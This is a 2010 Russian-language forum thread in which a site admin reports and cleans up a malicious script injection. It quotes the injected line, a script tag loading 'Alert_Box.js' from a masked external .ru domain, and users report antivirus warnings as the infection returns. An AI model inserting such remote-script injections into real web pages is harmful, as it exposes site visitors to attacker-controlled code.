Автор Тема: Вчера вечером на сайте был обнаружен вирус Alert_Box.js  (Прочитано 6944 раз)

Оффлайн admin

  • Админ
  • Участник проекта
  • Сообщений: 479
    • E-mail
Вчера вечером на сайте был обнаружен вирус Alert_Box.js с разными ссылками на его расположение в сети
Сегодня удален

Он был дописан в виде двух строчек в примерно 40 индексных и .js файлов
содержание:

Цитировать
script type="text/javascript" src="http://xxxxxxxxxxxxxx.ru/Alert_Box.js" ... /script
!--4487855314df77d891c321997af9585a--

На данный момент всё очищено
Владельцев Касперского и НОД-а прошу пройтись по сайту - старому и новому форумам и заглавной странице и посмотреть не покажет ли антивирус еще чего.
Ссылки сразу слать мне :)

Компы тоже рекомендую почистить!
« Последнее редактирование: 23 Августа 2010, 17:36 от admin »

Оффлайн DUSTik

  • Постоянный участник проекта
  • Сообщений: 1002
    • E-mail
Реально сайтом пользоваться не могу.Постоянно всплывает окно Сайт заражен вирусом.И при регистрации и при ответах и даже при просмотре картинок.Да и сам сайт выглядит по другому.Маленькие картинки большие буквы.Подскажите что мне сделать чтоб все было как раньше.
У меня браузер Мозила антивирус НОД 32.
При желании всегда можно хлопнуть дверью.Даже в чистом поле.

Оффлайн Бородачѣнковъ Димитрий

  • Постоянный участник проекта
  • Сообщений: 1228
  • ДИГГЕРСКАЯ ГРУППА БРЕСТА
    • E-mail
Не, Вадим, реально вирусняк еще сидит....
e-mail: lexbrest@gmail.com

Оффлайн admin

  • Админ
  • Участник проекта
  • Сообщений: 479
    • E-mail
Реально сайтом пользоваться не могу.Постоянно всплывает окно Сайт заражен вирусом.И при регистрации и при ответах и даже при просмотре картинок.Да и сам сайт выглядит по другому.Маленькие картинки большие буквы.Подскажите что мне сделать чтоб все было как раньше.
У меня браузер Мозила антивирус НОД 32.


еще раз, пожалуйста, ссылки на файлы давайте
т.е. на каких страницах выдает предупреждение?

кэш броузеров очистите пож-ста

т.е. мне кажется что я все страницы вычистил, у меня ошибок не возникает...
а у вас есть...
значит надо искать
« Последнее редактирование: 24 Августа 2010, 14:26 от admin »

Оффлайн admin

  • Админ
  • Участник проекта
  • Сообщений: 479
    • E-mail
или хоть просто скриншоты покажите )

Оффлайн admin

  • Админ
  • Участник проекта
  • Сообщений: 479
    • E-mail
ну нашел я еще 1 файл зараженный
очистил
но это всё!!!!!!!!!!!!  :(
гляньте еще раз, антивирус кричит?

Оффлайн DUSTik

  • Постоянный участник проекта
  • Сообщений: 1002
    • E-mail
admin
В кэше браузера ничего нет, т.к. у меня установлено в Инструментах-Не будет запоминать историю.Чтоб нормально зайти на сайт, пришлось снять галочку в Инструментах-Безопасность-Предупреждать о сайтах которые атакуют вирусы.А с галочкой, у меня окно о компьютерной атаке, всплывало всякий раз когда нужно было, ответить или картинку послать, а последний раз и ответ пропал.
Как делать скриншоты и ссылки на файлы, не умею.Может имеет смысл вообще почистить реестр и историю?
При желании всегда можно хлопнуть дверью.Даже в чистом поле.

Оффлайн DUSTik

  • Постоянный участник проекта
  • Сообщений: 1002
    • E-mail
Вот где у меня появляется окно-Сайт атакуют вирусы.При снятой галочке три последних показывают нормально.
http://www.google.ru/interstitial?url=http://www.fortification.ru/forum/
http://fortification.ru/forum/index.php?board=19.0
http://fortification.ru/forum/index.php?topic=290.1030
http://fortification.ru/forum/
Почистил кэш и историю.Ничего не изменилось.Может у меня не настроен браузер?
« Последнее редактирование: 25 Августа 2010, 00:49 от DUSTik »
При желании всегда можно хлопнуть дверью.Даже в чистом поле.

Оффлайн admin

  • Админ
  • Участник проекта
  • Сообщений: 479
    • E-mail
мда
за ночь вирус записался опять во все индексные файлы ((
пойдем другим путем

Оффлайн admin

  • Админ
  • Участник проекта
  • Сообщений: 479
    • E-mail
сайт зачищен повторно с некоторыми дополнениями
проверьте пож-ста методом захода ))